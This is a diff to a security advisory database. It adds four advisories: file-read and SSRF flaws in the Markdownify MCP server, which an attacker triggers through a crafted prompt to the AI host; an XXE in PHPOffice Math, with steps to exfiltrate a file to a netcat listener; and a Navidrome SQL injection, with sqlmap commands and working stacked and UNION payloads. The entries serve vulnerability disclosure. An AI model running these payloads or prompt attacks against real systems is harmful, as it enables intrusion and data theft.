diff --git a/advisories/unreviewed/2025/05/GHSA-22v8-p7h2-rj7p/GHSA-22v8-p7h2-rj7p.json b/advisories/github-reviewed/2025/05/GHSA-22v8-p7h2-rj7p/GHSA-22v8-p7h2-rj7p.json
similarity index 62%
rename from advisories/unreviewed/2025/05/GHSA-22v8-p7h2-rj7p/GHSA-22v8-p7h2-rj7p.json
rename to advisories/github-reviewed/2025/05/GHSA-22v8-p7h2-rj7p/GHSA-22v8-p7h2-rj7p.json
index 3ad8d7b3570..d48fb6d2809 100644
--- a/advisories/unreviewed/2025/05/GHSA-22v8-p7h2-rj7p/GHSA-22v8-p7h2-rj7p.json
+++ b/advisories/github-reviewed/2025/05/GHSA-22v8-p7h2-rj7p/GHSA-22v8-p7h2-rj7p.json
@@ -1,11 +1,12 @@
{
"schema_version": "1.4.0",
"id": "GHSA-22v8-p7h2-rj7p",
- "modified": "2025-05-29T06:31:17Z",
+ "modified": "2025-05-29T17:27:10Z",
"published": "2025-05-29T06:31:17Z",
"aliases": [
"CVE-2025-5273"
],
+ "summary": "Markdownify MCP Server allows attackers to read arbitrary files",
"details": "All versions of the package mcp-markdownify-server are vulnerable to Files or Directories Accessible to External Parties via the get-markdown-file tool. An attacker can craft a prompt that, once accessed by the MCP host, will allow it to read arbitrary files from the host running the server.",
"severity": [
{
@@ -14,10 +15,30 @@
},
{
"type": "CVSS_V4",
- "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "npm",
+ "name": "mcp-markdownify-server"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "last_affected": "0.0.1"
+ }
+ ]
+ }
+ ]
}
],
- "affected": [],
"references": [
{
"type": "ADVISORY",
@@ -27,9 +48,13 @@
"type": "WEB",
"url": "https://github.com/zcaceres/markdownify-mcp/commit/3a6b202d088ef7acb8be84bc09515f41a2b1a9df"
},
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/zcaceres/markdownify-mcp"
+ },
{
"type": "WEB",
- "url": "https://github.com/zcaceres/markdownify-mcp/blob/3667bd4765c0e49684ce22df268d02dd478a7f3b/src/Markdownify.ts%23L94"
+ "url": "https://github.com/zcaceres/markdownify-mcp/blob/3667bd4765c0e49684ce22df268d02dd478a7f3b/src/Markdownify.ts#L94"
},
{
"type": "WEB",
@@ -40,9 +65,9 @@
"cwe_ids": [
"CWE-552"
],
- "severity": "HIGH",
- "github_reviewed": false,
- "github_reviewed_at": null,
+ "severity": "MODERATE",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-05-29T17:27:10Z",
"nvd_published_at": "2025-05-29T05:15:21Z"
}
}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/05/GHSA-42hm-pq2f-3r7m/GHSA-42hm-pq2f-3r7m.json b/advisories/github-reviewed/2025/05/GHSA-42hm-pq2f-3r7m/GHSA-42hm-pq2f-3r7m.json
new file mode 100644
index 00000000000..f65e5b10bb9
--- /dev/null
+++ b/advisories/github-reviewed/2025/05/GHSA-42hm-pq2f-3r7m/GHSA-42hm-pq2f-3r7m.json
@@ -0,0 +1,64 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-42hm-pq2f-3r7m",
+ "modified": "2025-05-29T17:27:39Z",
+ "published": "2025-05-29T17:27:39Z",
+ "aliases": [
+ "CVE-2025-48882"
+ ],
+ "summary": "PHPOffice Math allows XXE when processing an XML file in the MathML format ",
+ "details": "**Product:** Math\n**Version:** 0.2.0\n**CWE-ID:** CWE-611: Improper Restriction of XML External Entity Reference\n**CVSS vector v.4.0:** 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)\n**CVSS vector v.3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n**Description:** An attacker can create a special XML file, during which it processed, external entities are loaded, and it’s possible to read local server files. \n**Impact:** Local server files reading\n**Vulnerable component:** The [`loadXML`](https://github.com/PHPOffice/Math/blob/c3ecbf35601e2a322bf2ddba48589d79ac827b92/src/Math/Reader/MathML.php#L38C9-L38C55) function with the unsafe [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag, the [`MathML`](https://github.com/PHPOffice/Math/blob/master/src/Math/Reader/MathML.php) class\n**Exploitation conditions:** The vulnerability applies only to reading a file in the `MathML` format.\n**Mitigation:** If there is no option to refuse using the [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag, it’s recommended to filter external entities through the implementation of the [`custom external entity loader function`](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php).\n**Researcher: Aleksandr Zhurnakov (Positive Technologies)**\n\n## Research\nZero-day vulnerability was discovered in the [Math](https://github.com/PHPOffice/Math) library in the detailed process of the XXE vulnerability research in PHP.\nLoading XML data, using the standard [`libxml`](https://www.php.net/manual/en/book.libxml.php) extension and the [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag without additional filtration, leads to XXE.\n\nBelow are steps to reproduce the vulnerability.\n\n1. Preparation:\n\n- The payload was tested on the PHP versions >= 8.1.\n- The [composer](https://getcomposer.org/) manager is used to install the latest version of the Math library.\n- PHP has to be configurated with [Zlib](https://www.php.net/manual/ru/book.zlib.php) support.\n- The necessary [requirements](https://github.com/PHPOffice/Math?tab=readme-ov-file#requirements) for the Math library must be installed.\n- The `netcat` utility is used for demonstration exfiltration.\n\n2. Make `math` directory and then moving into it.\n````\nmkdir math && cd math\n````\n\n3. Install the latest actual version of the library (Figure 1). \n```\ncomposer require phpoffice/math\n````\n_Figure 1. Installing the library_\n
\n\n4. Create `poc.xml` file (Listing 1): \n\n_Listing 1. Creating `poc.xml`_\n```\nxml \n \n```\n5. Create `math.php` file (Listing 2): \n\n*Listing 2. Creating `math.php`*\n````\nread(\n file_get_contents('poc.xml')\n );\n````\n6. The payload (see the step 4) is set to exfiltrate the `/etc/hostname` file through `http://127.0.0.1:9999/`, so the listening socket is launched at the `9999` port (Figure 2)\n\n_Figure 2. Launching the listening socket_\n
\n\n7. Execute php-script via console: \n````\nphp math.php \n````\n\n6 characters from the `/etc/hostname` file will be exfiltrated to the `9999` port in base64 format (Figure 3). \n\n_Figure 3. Characters exfiltration_\n
\n\nDecode the received data from base64 removing the last `M` character (the payload feature) (Figure 4).\n\n*Figure 4. Data decoding*\n
\n\n8. By changing the payload, the remaining file can be received. \n\n## Credits\nAleksandr Zhurnakov (Positive Technologies)",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "phpoffice/math"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "0.3.0"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "last_known_affected_version_range": "<= 0.2.0"
+ }
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/PHPOffice/Math/security/advisories/GHSA-42hm-pq2f-3r7m"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/PHPOffice/Math/commit/fc31c8f57a7a81f962cbf389fd89f4d9d06fc99a"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/PHPOffice/Math"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-611"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-05-29T17:27:39Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/05/GHSA-5wgp-vjxm-3x2r/GHSA-5wgp-vjxm-3x2r.json b/advisories/github-reviewed/2025/05/GHSA-5wgp-vjxm-3x2r/GHSA-5wgp-vjxm-3x2r.json
new file mode 100644
index 00000000000..9eb3ff3e76b
--- /dev/null
+++ b/advisories/github-reviewed/2025/05/GHSA-5wgp-vjxm-3x2r/GHSA-5wgp-vjxm-3x2r.json
@@ -0,0 +1,62 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-5wgp-vjxm-3x2r",
+ "modified": "2025-05-29T17:27:56Z",
+ "published": "2025-05-29T17:27:56Z",
+ "aliases": [],
+ "summary": "Navidrome allows SQL Injection via role parameter",
+ "details": "## 🛡 **Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2**\n\n### **Overview**\n\nThis vulnerability arises due to improper input validation on the **`role`** parameter within the API endpoint **`/api/artist`**. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.\n\n---\n\n### **Details**\n\n* **Vulnerable Component**:\n API endpoint → `/api/artist`\n Parameter → `role`\n\n* **Vulnerability Type**:\n SQL Injection (stacked queries, UNION queries)\n\n* **Database Affected**:\n SQLite (confirmed exploitation via SQLite-specific payloads)\n\n* **Impact**:\n Successful exploitation allows an unauthenticated attacker to:\n\n * Execute arbitrary SQL commands\n * Extract or manipulate sensitive data (e.g., user records, playlists)\n * Potentially escalate privileges or disrupt service availability\n\n---\n\n### **Proof of Concept (PoC)**\n\n**Example Exploit Command**:\n\n```bash\nsqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite\n```\n\n**Sample Payloads**:\n\n* **Stacked Queries**:\n\n ```\n http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--\n ```\n\n* **UNION-Based Query**:\n\n ```\n http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny\n ```\n\n**Example HTTP Request**:\n\n```http\nGET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2\nHost: \nCookie: \nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: application/json\nX-Nd-Authorization: \nX-Nd-Client-Unique-Id: \n```\n\n---",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/navidrome/navidrome"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0.55.0"
+ },
+ {
+ "fixed": "0.56.0"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "last_known_affected_version_range": "<= 0.55.2"
+ }
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/navidrome/navidrome/security/advisories/GHSA-5wgp-vjxm-3x2r"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/navidrome/navidrome/commit/b19d5f0d3e079639904cac95735228f445c798b6"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/navidrome/navidrome"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-89"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-05-29T17:27:56Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/05/GHSA-frq9-3hp2-xvxg/GHSA-frq9-3hp2-xvxg.json b/advisories/github-reviewed/2025/05/GHSA-frq9-3hp2-xvxg/GHSA-frq9-3hp2-xvxg.json
similarity index 62%
rename from advisories/unreviewed/2025/05/GHSA-frq9-3hp2-xvxg/GHSA-frq9-3hp2-xvxg.json
rename to advisories/github-reviewed/2025/05/GHSA-frq9-3hp2-xvxg/GHSA-frq9-3hp2-xvxg.json
index fcda43c0bf7..3e9ab62242e 100644
--- a/advisories/unreviewed/2025/05/GHSA-frq9-3hp2-xvxg/GHSA-frq9-3hp2-xvxg.json
+++ b/advisories/github-reviewed/2025/05/GHSA-frq9-3hp2-xvxg/GHSA-frq9-3hp2-xvxg.json
@@ -1,11 +1,12 @@
{
"schema_version": "1.4.0",
"id": "GHSA-frq9-3hp2-xvxg",
- "modified": "2025-05-29T06:31:17Z",
+ "modified": "2025-05-29T17:27:26Z",
"published": "2025-05-29T06:31:17Z",
"aliases": [
"CVE-2025-5276"
],
+ "summary": "Markdownify MCP Server allows Server-Side Request Forgery (SSRF) via the Markdownify.get() function",
"details": "All versions of the package mcp-markdownify-server are vulnerable to Server-Side Request Forgery (SSRF) via the Markdownify.get() function. An attacker can craft a prompt that, once accessed by the MCP host, can invoke the webpage-to-markdown, bing-search-to-markdown, and youtube-to-markdown tools to issue requests and read the responses to attacker-controlled URLs, potentially leaking sensitive information.",
"severity": [
{
@@ -14,10 +15,30 @@
},
{
"type": "CVSS_V4",
- "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "npm",
+ "name": "mcp-markdownify-server"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "last_affected": "0.0.1"
+ }
+ ]
+ }
+ ]
}
],
- "affected": [],
"references": [
{
"type": "ADVISORY",
@@ -27,9 +48,13 @@
"type": "WEB",
"url": "https://github.com/zcaceres/markdownify-mcp/commit/0284aa8f34d32c65e20d8cda2d429b7943c9af03"
},
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/zcaceres/markdownify-mcp"
+ },
{
"type": "WEB",
- "url": "https://github.com/zcaceres/markdownify-mcp/blob/224cf89f0d58616d2a5522f60f184e8391d1c9e3/src/server.ts%23L20C17-L20C29"
+ "url": "https://github.com/zcaceres/markdownify-mcp/blob/224cf89f0d58616d2a5522f60f184e8391d1c9e3/src/server.ts#L20C17-L20C29"
},
{
"type": "WEB",
@@ -40,9 +65,9 @@
"cwe_ids": [
"CWE-918"
],
- "severity": "HIGH",
- "github_reviewed": false,
- "github_reviewed_at": null,
+ "severity": "MODERATE",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-05-29T17:27:26Z",
"nvd_published_at": "2025-05-29T05:15:21Z"
}
}
\ No newline at end of file